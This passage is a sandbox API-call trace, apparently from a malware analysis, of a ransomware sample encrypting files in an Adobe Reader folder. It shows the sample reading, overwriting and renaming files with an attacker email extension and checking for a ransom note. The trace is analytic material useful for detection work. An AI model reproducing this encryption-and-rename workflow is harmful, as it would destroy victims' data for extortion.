RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2d0) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290c0) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291d8) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429200) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0061.633] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0061.633] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.633] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x413fd0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00d60 [0061.633] NtSetInformationFile (FileHandle=0xbc0, IoStatusBlock=0x413fd04, FileInformation=0x5e00d60, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0061.634] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.635] NtQueryInformationFile (in: FileHandle=0xbc0, IoStatusBlock=0x413fd18, FileInformation=0x413fcf0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x413fd18, FileInformation=0x413fcf0) returned 0x0 [0061.635] NtSetInformationFile (FileHandle=0xbc0, IoStatusBlock=0x413fd18, FileInformation=0x413fcf0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.636] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0061.636] FlushFileBuffers (hFile=0xbc0) returned 1 [0062.203] CloseHandle (hObject=0xbc0) returned 1 [0062.705] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09098 [0062.705] wcscpy (in: _Dest=0x12e09098, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.705] wcscat (in: _Dest=0x12e09098, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.705] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09098) returned 1 [0063.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419130) returned 1 Thread: id = 362 os_tid = 0xc8c [0048.651] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm")) returned 0x20 [0058.289] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", dwFileAttributes=0x20) returned 1 [0058.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc4 [0058.290] GetFileSizeEx (in: hFile=0xbc4, lpFileSize=0x5c9ff34 | out: lpFileSize=0x5c9ff34*=17082) returned 1 [0058.290] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x42b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.290] ReadFile (in: hFile=0xbc4, lpBuffer=0x5c9feb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5c9feb4, lpOverlapped=0x0 | out: lpBuffer=0x5c9feb8*, lpNumberOfBytesRead=0x5c9feb4*=0x4, lpOverlapped=0x0) returned 1 [0058.292] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0058.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290c0 [0058.292] NtQuerySystemTime (in: CurrentTime=0x5c9fe94 | out: CurrentTime=0x5c9fe94*=132174898222740000) returned 0x0 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x5f54138d [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x2cecb7c7 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x4891efe5 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0xfefb1f2 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x50436402 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x183fbe77 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x575b13bf [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x7e8593f8 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x4359b7b8 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x176bf801 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x62c9e38d [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x4717a470 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x4dee8273 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x74b8b489 [0058.292] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x7fe77612 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x1305495 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x5aa4e2b3 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x7beada03 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x6e62a62b [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x52d1cda3 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x53c0ca0a [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x7371e425 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x36982a1f [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x70a3f1f0 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x5844f216 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0xaa567dd [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x33caa26d [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0xc80a5c2 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x7b3cca0e [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x2668c361 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x73da8012 [0058.293] RtlRandomEx (in: Seed=0x5c9fea0 | out: Seed=0x5c9fea0) returned 0x70d74292 [0058.308] ReadFile (in: hFile=0xbc4, lpBuffer=0x960f640, nNumberOfBytesToRead=0x42ba, lpNumberOfBytesRead=0x5c9fe90, lpOverlapped=0x0 | out: lpBuffer=0x960f640*, lpNumberOfBytesRead=0x5c9fe90*=0x42ba, lpOverlapped=0x0) returned 1 [0058.309] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.309] WriteFile (in: hFile=0xbc4, lpBuffer=0x961be48*, nNumberOfBytesToWrite=0x42ba, lpNumberOfBytesWritten=0x5c9fe8c, lpOverlapped=0x0 | out: lpBuffer=0x961be48*, lpNumberOfBytesWritten=0x5c9fe8c*=0x42ba, lpOverlapped=0x0) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf320 [0059.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf348 [0059.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf348) returned 1 [0059.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x961be48) returned 1 [0059.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x960f640) returned 1 [0059.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0059.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf28) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ceb10 [0059.357] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.358] WriteFile (in: hFile=0xbc4, lpBuffer=0x44e990*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x5c9fef4, lpOverlapped=0x0 | out: lpBuffer=0x44e990*, lpNumberOfBytesWritten=0x5c9fef4*=0x105, lpOverlapped=0x0) returned 1 [0061.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e990) returned 1 [0061.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0061.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf348) returned 1 [0061.648] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0061.648] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf320) returned 1 [0061.648] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0061.648] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0061.648] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c408 [0061.648] wcscpy (in: _Dest=0x45c408, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0061.648] wcscat (in: _Dest=0x45c408, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.648] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5c9feac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00d60 [0061.648] NtSetInformationFile (FileHandle=0xbc4, IoStatusBlock=0x5c9fea4, FileInformation=0x5e00d60, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0061.650] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.650] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.650] NtQueryInformationFile (in: FileHandle=0xbc4, IoStatusBlock=0x5c9feb8, FileInformation=0x5c9fe90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5c9feb8, FileInformation=0x5c9fe90) returned 0x0 [0061.650] NtSetInformationFile (FileHandle=0xbc4, IoStatusBlock=0x5c9feb8, FileInformation=0x5c9fe90, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.651] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0061.651] FlushFileBuffers (hFile=0xbc4) returned 1 [0062.213] CloseHandle (hObject=0xbc4) Thread: id = 363 os_tid = 0xc90 [0048.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d1e8 [0048.652] wcscpy (in: _Dest=0x48d1e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0048.652] wcscat (in: _Dest=0x48d1e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\" [0048.652] wcscat (in: _Dest=0x48d1e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*" [0048.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4884d0 [0048.652] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x4884d0 | out: lpFindFileData=0x4884d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440de0 [0051.838] wcscmp (_String1=".", _String2=".") returned 0 [0051.838] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x4884d0 | out: lpFindFileData=0x4884d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.838] wcscmp (_String1="..", _String2=".") returned 1 [0051.838] wcscmp (_String1="..", _String2="..") returned 0 [0051.839] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x4884d0 | out: lpFindFileData=0x4884d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0051.839] wcscmp (_String1="AiodLite.dll", _String2=".") returned 1 [0051.839] wcscmp (_String1="AiodLite.dll", _String2="..") returned 1 [0051.839] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x4884d0 | out: lpFindFileData=0x4884d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0051.839] FindClose (in: hFindFile=0x440de0 | out: hFindFile=0x440de0) returned 1 [0051.839] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4884d0) returned 1 [0051.839] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d1e8) returned 1 [0051.839] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d048) returned 1 Thread: id = 364 os_tid = 0xc94 [0048.653] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm")) returned 0x20 [0058.331] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm", dwFileAttributes=0x20) returned 1 [0058.332] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbbc [0058.332] GetFileSizeEx (in: hFile=0xbbc, lpFileSize=0x26cf918 | out: lpFileSize=0x26cf918*=17032) returned 1 [0058.333] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x4284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.333] ReadFile (in: hFile=0xbbc, lpBuffer=0x26cf89c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26cf898, lpOverlapped=0x0 | out: lpBuffer=0x26cf89c*, lpNumberOfBytesRead=0x26cf898*=0x4, lpOverlapped=0x0) returned 1 [0058.334] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.334] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.334] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290e8 [0058.334] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429228 [0058.334] NtQuerySystemTime (in: CurrentTime=0x26cf878 | out: CurrentTime=0x26cf878*=132174898223208000) returned 0x0 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x2595c211 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x795ac4b4 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x4736306d [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x87c8a99 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x310b4a0f [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x2fb091a6 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x3147ef2d [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0xee390f4 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x16612bf5 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x3e2900ad [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x3c1d2018 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x4fc17ec5 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x789014b4 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x165a38fd [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x100c8e89 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x53af82c1 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x7623981b [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x61257cbd [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x5de8b0b [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x646515de [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x677e1332 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x7267842d [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x70c4e812 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x1227ae70 [0058.335] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x7dc6ddab [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x3cf78bde [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x1bb19daa [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x5fee2a2a [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0xf7e38d9 [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x66443603 [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x1cfe05c2 [0058.336] RtlRandomEx (in: Seed=0x26cf884 | out: Seed=0x26cf884) returned 0x673e4100 [0058.350] ReadFile (in: hFile=0xbbc, lpBuffer=0x9641660, nNumberOfBytesToRead=0x4288, lpNumberOfBytesRead=0x26cf874, lpOverlapped=0x0 | out: lpBuffer=0x9641660*, lpNumberOfBytesRead=0x26cf874*=0x4288, lpOverlapped=0x0) returned 1 [0058.352] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.352] WriteFile (in: hFile=0xbbc, lpBuffer=0x964de68*, nNumberOfBytesToWrite=0x4288, lpNumberOfBytesWritten=0x26cf870, lpOverlapped=0x0 | out: lpBuffer=0x964de68*, lpNumberOfBytesWritten=0x26cf870*=0x4288, lpOverlapped=0x0) returned 1 [0059.363] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf370 [0059.363] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf398 [0059.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf398) returned 1 [0059.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x964de68) returned 1 [0059.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9641660) returned 1 [0059.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437760) returned 1 [0059.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0059.363] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97ceab0 [0059.363] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.363] WriteFile (in: hFile=0xbbc, lpBuffer=0x44eaa0*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x26cf8d8, lpOverlapped=0x0 | out: lpBuffer=0x44eaa0*, lpNumberOfBytesWritten=0x26cf8d8*=0x107, lpOverlapped=0x0) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44eaa0) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea20) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf398) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceab0) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf370) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290e8) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0061.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0061.637] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0061.637] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.637] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x26cf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00d60 [0061.637] NtSetInformationFile (FileHandle=0xbbc, IoStatusBlock=0x26cf888, FileInformation=0x5e00d60, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0061.639] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.639] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.639] NtQueryInformationFile (in: FileHandle=0xbbc, IoStatusBlock=0x26cf89c, FileInformation=0x26cf874, Length=0x28, FileInformationClass=0x4 